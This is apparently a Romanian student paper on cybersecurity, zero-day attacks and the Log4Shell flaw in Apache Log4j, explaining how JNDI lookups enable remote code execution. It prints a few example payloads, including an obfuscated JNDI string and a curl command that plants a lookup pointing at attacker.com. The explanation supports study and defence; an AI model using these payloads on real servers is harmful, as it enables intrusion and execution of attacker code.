Documente Academic
Documente Profesional
Documente Cultură
I. Introducere.........................................................................................................................2
Bibliografie...............................................................................................................................13
I. Introducere
În prezent, putem trimite sau primi date sub orice formă, de exemplu e-mail-uri,
fișiere video sau audio, printr-o simplă apăsare de buton, dar ne-am gândit vreodată cât de
sigur au fost transmise datele celeilalte persoane, fără vreo scurgere de informații? Breșele de
securitate pot apărea când scriem pe hârtie, trimitem informații prin fax sau chiar verbal. Dar
consecințele încălcării normelor de securitate în cazul informațiilor digitale sunt potențial
mult mai grave deoarece aceste informații pot fi distribuite mai ușor către un public mai larg.
Iar rezolvarea acestei probleme stă în Securitatea cibernetică. Astăzi internetul este
infrastructura cu cea mai rapidă dezvoltare din viața de zi cu zi.
Securitatea cibernetică este denumirea măsurilor de protecție luate pentru a evita sau a
reduce orice perturbare cauzată de un atac asupra datelor, computerelor sau dispozitivelor
mobile. Securitatea cibernetică acoperă nu numai protejarea confidențialității și a vieții
private, ci și disponibilitatea și integritatea datelor, ambele fiind vitale pentru calitatea și
siguranța acestora.
Securitatea cibernetică este un domeniu în continuă schimbare, cu o mulțime de
termeni de specialitate, iar uneori poate părea destul de greoaie. Cu toate acestea, pot fi luate
multe măsuri eficiente și relativ simple pentru a vă proteja informațiile, pe dvs. și organizația
dvs. Așadar, luarea unor măsuri simple și eficiente și practicarea unor comportamente sigure
vor reduce amenințările online.
Consecințele atacurilor cibernetice sunt costisitoare – în ceea ce privește cheltuieli,
timp de recuperare și pierderea reputației. De aceea securitatea cibernetică este prioritară
pentru afaceri și tot personalul trebuie să fie conștient de modul de implementare a măsurilor
de protecție.
Oamenii ar trebui, de asemenea, să fie conștienți de măsurile de Securitate cibernetică
de bază referitoare la uzul personal și profesional.
Spațiul cibernetic este format din diverse sisteme informatice conectate și sisteme de
telecomunicații integrate. A devenit o caracteristică a societății moderne, îmbunătățind și
permițând comunicarea rapidă, sistemele de comandă și control distribuite, stocarea și
transferul de date în masă și o serie de sisteme foarte distribuite.
Atacurile cibernetice sunt din ce în ce mai frecvente și atacatorii pot lansa campanii
fără intervenția umană odată cu apariția viermilor ransomware bazați pe rețea. Numărul
evenimentelor de securitate a crescut ca număr și ca complexitate. [1]
Un atac cibernetic are loc atunci când o persoană sau o organizație încearcă în mod
deliberat și rău intenționat să încalce sistemul de informații al altei persoane sau
organizații. Deși există de obicei un obiectiv economic, unele atacuri recente arată ca obiectiv
distrugerea datelor.
Actorii rău intenționați caută adesea răscumpărare sau alte tipuri de câștig economic,
dar atacurile pot fi comise cu o serie de motive, inclusiv în scopuri de activism politic.
Tabloul securității cibernetice este în continuă schimbare. Atacatorii caută constant
noi puncte slabe și vulnerabilități de exploatat în rețelele corporatiste, în timp ce companiile
sunt nevoite să adopte noi abordări mai deschise pentru sistemele IT . [3]
Atacurile numite „Zero-Day” sunt unul dintre cele mai temute și periculoase incidente
de securitate, în plus, aproximativ 80% din atacurile la scară largă care se produc sunt
datorate unei Zero-Day pe dispozitive hardware sau software. Aceste tipuri de atacuri
afectează atât utilizatorii casnici cât și mediile corporative. [5]
Atacurile zero-day sunt tot mai dese și mult mai aproape decât am putea crede, iar
2021 este anul recordurilor. Anul acesta au fost găsite cel puțin 66 de vulnerabilități zero-day,
aproape dublu față de 2020 și mai mult decât în orice alt an înregistrat vreodată.
Sisteme de operare
Browsere web
Aplicații de birou
Componente open-source
Hardware și firmware
Internetul lucrurilor
Atacurile țintite zero-day sunt efectuate împotriva unor ținte potențial valoroase - cum
ar fi organizații mari, agenții guvernamentale sau persoane de profil înalt.
Atacurile zero-day ne-țintite sunt de obicei efectuate împotriva utilizatorilor
sistemelor vulnerabile, cum ar fi un sistem de operare sau un browser.
Deoarece vulnerabilitățile zero-day pot lua mai multe forme – cum ar fi lipsa criptării
datelor, lipsa autorizațiilor, algoritmii defectați, erorile, problemele cu securitatea parolei și
așa mai departe – pot fi dificil de detectat. Datorită naturii acestor tipuri de vulnerabilități,
informații detaliate despre exploit-urile zero-day sunt disponibile numai după identificarea
exploit-ului.
Organizațiile care sunt atacate de un exploit zero-day pot vedea trafic neașteptat sau
activitate de scanare suspectă care provine de la un client sau serviciu. Unele dintre tehnicile
de detectare zero-day includ:
Utilizarea bazelor de date existente de malware și modul în care acestea se comportă
ca referință. Deși aceste baze de date sunt actualizate foarte rapid și pot fi utile ca
punct de referință, prin definiție, exploit-urile zero-day sunt noi și necunoscute. Deci
există o limită a cât de mult vă poate spune o bază de date existentă.
În mod alternativ, unele tehnici caută caracteristici malware zero-day pe baza modului
în care interacționează cu sistemul țintă. În loc să examineze codul fișierelor primite,
această tehnică analizează interacțiunile pe care le au cu software-ul existent și
încearcă să determine dacă acestea rezultă din acțiuni rău intenționate.
Din ce în ce mai mult, învățarea automată este folosită pentru a detecta date din
exploit-urile înregistrate anterior, pentru a stabili o linie de bază pentru
comportamentul sigur al sistemului, bazat pe datele interacțiunilor trecute și actuale
cu sistemul. Cu cât sunt mai multe date disponibile, cu atât detectarea devine mai
fiabilă.
Iată care este clasicul șir de evenimente al unui atac zero-day, de la lansarea
softului/hardware-ului pe piață și până la rezolvarea problemei de securitate:
Software-ul sau hardware-ul este dezvoltat și lansat pe piață – acesta conține o
vulnerabilitate nedetectată de dezvoltatori.
Hackerii detectează vulnerabilitatea – înainte ca dezvoltatorul să o sesizeze sau
înainte ca acesta să lanseze un patch.
Atacatorii eliberează un malware pentru a exploata softul – atunci când acea
vulnerabilitate nu este încă detectată sau rezolvată de către dezvoltator.
Detecție și patch-ing – după ce hackerii au lansat un exploit, fie terțe persoane
identifică furtul de date, fie dezvoltatorul îl depistează și creează un patch de securitate.
Atunci când hackerii ”black hat” descoperă vulnerabilități în diverse softuri, nu ezită
să atace sau să o vândă altor persoane ori organizații care caută în mod special potențiale
victime (uneori, vorbim de un simplu hacker sau de o grupare de infractori cibernetici în
acțiune). Iar atunci când nici dezvoltatorul și nici utilizatorii care folosesc acel soft nu cunosc
elementul vulnerabil, află de acesta abia atunci când atacul este deja lansat și a început să
provoace daune.
Software-ul rămâne vulnerabil la atac până în momentul în care este lansat acel patch
și pus în aplicare, însă lucrul acesta poate dura câteva zile, luni sau chiar ani, timp în care
consecințele pot fi dezastruoase. Aici intervin specialiștii și rapiditatea lor în a găsi soluțiile
pentru a opri atacul și a minimiza pierderile suferite. [3]
Un defect major de securitate a fost descoperit într-un software denumit Log4j, care
este folosit de milioane de servere web. Bug-ul face serverele vulnerabile la atacuri
cibernetice, iar tehnicienii din întreaga lume se luptă pentru a corecta sistemele afectate
înainte ca hackerii să le poată exploata.
Log4Shell este o vulnerabilitate critică gravă care afectează multe versiuni ale
aplicației Apache Log4j. Vulnerabilitatea permite executarea de cod la distanță
neautentificată. Atacatorii pot profita de el modificând șirul user-agent al browserului în
format ${jndi:ldap://[attacker_URL]} . Această vulnerabilitate poate fi găsită în produsele
unora dintre cei mai renumiți furnizori de tehnologie, cum ar fi AWS, IBM, Cloudflare,
Cisco, iCloud, Minecraft: Java Edition, Steam și VMWare. [8]
Problema cu modulul Log4j a fost observată pentru prima dată în jocul video
Minecraft. Totuși, a devenit rapid evident faptul că impactul său a fost mult mai mare.
Apache Log4j este un utilitar de înregistrare bazat pe Java. Rolul bibliotecii Java
Log4j este de a înregistra informații care ajută aplicațiile să funcționeze fără probleme, să
determine ce se întâmplă și să ajute cu procesul de depanare atunci când apar erori.
Bibliotecile de înregistrare notează de obicei mesajele în fișierul jurnal sau într-o bază
de date. Înainte ca șirul să fie înregistrat într-un fișier jurnal, acesta este procesat frecvent. De
exemplu, variabilele definite ca ${variable} s-au extins ca dată, oră sau nume de
utilizator. Expresia ${user.username} poate fi înlocuită cu numele de utilizator actual al
utilizatorului curent folosind o expresie precum Log.info("${user.username} not
found") . Acest lucru este similar cu utilizarea $() în PowerShell pentru a extinde și a analiza
șiruri.
Pentru căutări de la distanță pentru a prelua aceste informații de la o mașină la
distanță, Log4j folosește Java Naming and Directory Interface (JNDI). JNDI permite
programatorilor să caute elemente folosind o varietate de servicii și protocoale, inclusiv
LDAP, DNS, Java Remote Method Invocation (RMI) și altele.
Sintaxa JNDI este: ${ jndi:protocol://server}. ${}
Aceste blocuri pot fi imbricate și îmbinate. Permite nenumărate tehnici complicate de
ofuscare care pot fi utilizate. De exemplu, atacatorii pot folosi ${${lower:jn}${lower:di}} în
loc de ${ jndi:}. Acest lucru permite atacatorilor să preia informații de pe un server la distanță
prin exploatarea vulnerabilității. Ei pot, de exemplu, să citească o variabilă de mediu și să
utilizeze valoarea acesteia într-o interogare LDAP.
Obiectele Java pot fi, de asemenea, stocate într-un serviciu de director, iar JNDI are o
logică care detectează când un obiect director conține un obiect Java și îl încarcă în
memorie. Încărcătorul de obiecte LDAP va prelua conținutul URL-ului definit în
javaCodebase și îl va folosi pentru a crea un obiect în memorie, dacă obiectul LDAP are
atributul ObjectClass definit ca javaNamingReference și are atributele javaCodebase,
javaFactory și javaClassName. Metoda de inițializare a acestei clase (constructor) este apelată
și încarcă cod care nu este de încredere dintr-o sursă neîncrezătoare.
Dacă atacatorul poate găsi o modalitate de a obține un șir special conceput pentru a fi
procesat de cadrul de logare Log4j, un atacator îl poate exploata. De exemplu, o aplicație web
(ținta acestei vulnerabilități) stochează de obicei șirul de agent de utilizator, care identifică
browserul utilizat de vizitatori.
String userAgent = request.getRequestHeader("User-Agent");
log.info(userAgent)
Atacatorii pot specifica un șir personalizat de agent utilizator pentru conexiunile
lor. Aceste date sunt salvate într-un fișier jurnal, iar Log4j este exploatat în timpul procesării
lor. Iată un șir user-agent special creat pentru a declanșa această vulnerabilitate:
curl http://victim.com/ -A "${ jndi:ldap://attacker.com/reference}"
Log4j permite mesajelor înregistrate să conțină șiruri de format care fac referire la
informații externe prin intermediul Java Naming and Directory Interface (JNDI) . Acest lucru
permite ca informațiile să fie preluate de la distanță printr-o varietate de protocoale, inclusiv
Lightweight Directory Access Protocol (LDAP) .
De exemplu, când Log4j găsește următorul șir într-un mesaj de jurnal:
${jndi:ldap://prplbx.com/security}
Îi cere JNDI să solicite serverului LDAP de la „prplbx.com” obiectul
„securitate”. Prin proiectare, JNDI va executa clase Java la care face referire un server
LDAP. Dacă răspunsul serverului LDAP face referire la adresa
URL https://prplbx.com/security , JNDI va solicita automat fișierul security.class de la
serverul web și va executa răspunsul.
Deoarece conținutul mesajelor de jurnal conține adesea date controlate de utilizator,
atacatorii pot introduce referințe JNDI care indică către serverele LDAP pe care le
controlează, gata să servească clase Java rău intenționate care efectuează orice acțiune pe care
o doresc. [8]
Figura 3.1 Modul de funcționare al bibliotecii în ambele scenarii [8]
Captura de ecran de mai jos este o listă a antetelor HTTP dintr-o solicitare GET care
ilustrează atacatorul folosind interact.sh pentru a căuta servere vulnerabile.
Deși problema care activează atacul Log4Shell există în cod de ceva timp, aceasta a
fost descoperită abia la sfârșitul lunii noiembrie de către un cercetător în securitate din cadrul
Alibaba Cloud, o firmă de calcul din China. El a raportat imediat problema către Apache
Software Foundation, organizația americană nonprofit care supraveghează sute de proiecte
open source, inclusiv Log4j, pentru a le oferi timp să rezolve problema înainte ca aceasta să
fie dezvăluită public. [7]
Tehnicienii din cadrul Apache au oferit vulnerabilității un clasament „critic” și s-au
grăbit să dezvolte o soluție. În prezent, sute de mii de echipe IT se străduiesc să actualizeze
Log4j la versiunea 2.15.0, care a fost lansată înainte ca vulnerabilitatea să fie făcută publică și
care rezolvă, în mare parte, problema. De asemenea, echipele vor trebui să cerceteze codul
pentru posibile vulnerabilități și să urmărească încercările de hacking. [7]
În timp ce patch-urile lansate pentru a remedia astfel de probleme pot apărea foarte
rapid, mai ales atunci când sunt dezvăluite în mod responsabil echipei de dezvoltare, este
nevoie de timp pentru ca toată lumea să le aplice. Calculatoarele și serviciile web actuale sunt
atât de complexe încât ar putea dura luni până când toate aceste servicii să fie actualizate.
Bibliografie
[1] https://andcom.erasmus.site/ro/courses/module-5-cybersecurity-as-basic-necessity-of-
every-learning-process/lessons/chapter-1-cyber-security-introduction-and-overview/
[2] https://www.infocyte.com/blog/2019/05/01/cybersecurity-101-intro-to-the-top-10-
common-types-of-cyber-security-attacks/
[3] https://www.one-it.ro/blog/atacurile-zero-day-au-atins-cifre-record-cum-le-poti-preveni-
in-2021/
[4] https://ro.linuxteaching.com/article/what_is_a_zeroday_exploit
[5] https://itigic.com/ro/zero-day-attack-how-to-protect/
[6] https://www.kaspersky.com/resource-center/definitions/zero-day-exploit
[7] https://tehnostiri.ro/index.php/2021/12/14/bug-log4j/
[8] https://www.prplbx.com/resources/blog/log4j/#8-conclusion